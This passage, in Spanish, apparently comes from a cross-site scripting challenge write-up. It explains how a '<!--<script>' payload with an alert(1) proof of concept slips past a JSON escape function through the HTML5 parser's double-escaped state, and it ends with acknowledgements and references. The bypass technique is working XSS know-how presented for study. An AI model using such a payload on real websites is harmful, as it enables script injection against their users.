      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.

      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
```

Vector de ataque

```
<!--<script>#)/,alert(1)//-->
```

Explicación

Este reto es similar al reto 14 y también hace uso de forma singular en la que el parser de HTML5 procesa los tokens "<!--<script>".

La aplicación espera una cadena de texto que incluya una almohadilla (#) para diferenciar dos mensajes que serán impresos en el log. De esta forma la cadena "payload1#payload2" dará lugar al siguiente código HTML:

```
<script>console.log("payload1")</script>
<script>console.log("payload2")</script>
```

La idea es utilizar el truco de "<!--<script>" para conseguir que el parser le pase el texto entre nuestros dos puntos de inyección como código JavaScript al motor de JS. Como vimos en el reto 14, es necesario que el parser encuentre un cierre de comentario (-->) para que no se produzca ningún error de sintaxis.

La solución al reto es:

```
<!--<script>#)/;alert(1)//-->
```

Veamos como procesa el parser el código y que trozos considerará JavaScript.

Si enviamos el payload indicado arriba, la función "escape" generará el siguiente código:

```
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>
```

En azul el código que será interpretado como JavaScript, en verde las cadenas de texto y en gris los comentarios.

Cuando el parser se encuentre la cadena "<!--<script>" pasará al estado "double escaped state" por lo que el código que suceda al cierre de comillas de la cadena donde inyectamos nuestro "<!--<script>" se considerará JavaScript ya que existe un cierre de comentario (-->) al final que validará la sintaxis.

El motor de JavaScript por lo tanto recibirá el siguiente código:

```
console.log("<!--<script>") < /script><script>console.log(")/; alert(1) //-->")
```

Podemos interpretar este código como:

```
console.log("cadena_basura") < /regex_basura/ ; alert(1) // -->
```

Dónde:

- cadena_basura = <!--<script>
- regex_basura = script><script>console.log(")

Efectivamente, al ser procesado como código JavaScript el cierre del tag </script>, el motor de JavaScript lo tratará como un menor que (<), y el inicio de una expresión regular, por lo que tenemos que utilizar nuestro segundo punto de inyección para cerrar la expresión regular e inyectar nuestro **alert(1)** sin olvidar que también tenemos que añadir un cierre de comentario para que la sintaxis sea válida.

Podemos reducir en un byte nuestro payload si sustituimos el comentario de doble barra (//) por el carácter Unicode \u2028 que introduce un salto de línea.

Agradecimientos

Queremos agradecer la colaboración de Álvaro Muñoz en la explicación de los retos 14 y 15.

Twitter: @pwntester

Web: www.pwntester.com

Referencias

[01] https://cert.org/advisories/CA-2000-02.html

[02] https://owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

[03] https://betanews.com/2005/10/13/cross-site-scripting-worm-hits-myspace/

[04] https://developer.mozilla.org/en-US/docs/Security/CSP

[05] https://ruxcon.org.au/assets/slides/CSP-kuza55.pptx

[06] https://code.google.com/p/domxsswiki/wiki/Introduction

[07] https://cure53.de/fp170.pdf

[08] https://msdn.microsoft.com/en-us/library/ie/t0kbytzc%28v=vs.94%29.aspx

[09] https://msdn.microsoft.com/en-us/library/ie/cc836459%28v=vs.94%29.aspx

[10] https://json.org/json-en.html

[11] https://msdn.microsoft.com/en-us/library/ie/ms536389%28v=vs.85%29.aspx

[12] https://en.wikipedia.org/wiki/Percent-encoding

[13] https://msdn.microsoft.com/en-us/library/ms952648.aspx

[14] https://en.wikipedia.org/wiki/Case_sensitive

[15] https://msdn.microsoft.com/en-us/library/adwtk1fy%28v=vs.110%29.aspx

[16] https://sla.ckers.org/forum/read.php?24,28687

[17] https://twitter.com/@0x6D6172696F

[18] https://msdn.microsoft.com/en-us/library/ms537497%28v=vs.85%29.aspx

[19] https://msdn.microsoft.com/en-us/library/ie/9yzah1fh%28v=vs.94%29.aspx

[20] https://msdn.microsoft.com/en- us/library/ie/ms535256%28v=vs.85%29.aspx

[21] https://en.wikipedia.org/wiki/Same-origin_policy

[22] https://communities.coverity.com/blogs/security/2012/11/16/did-i-do-that-html-5-js-escapers-3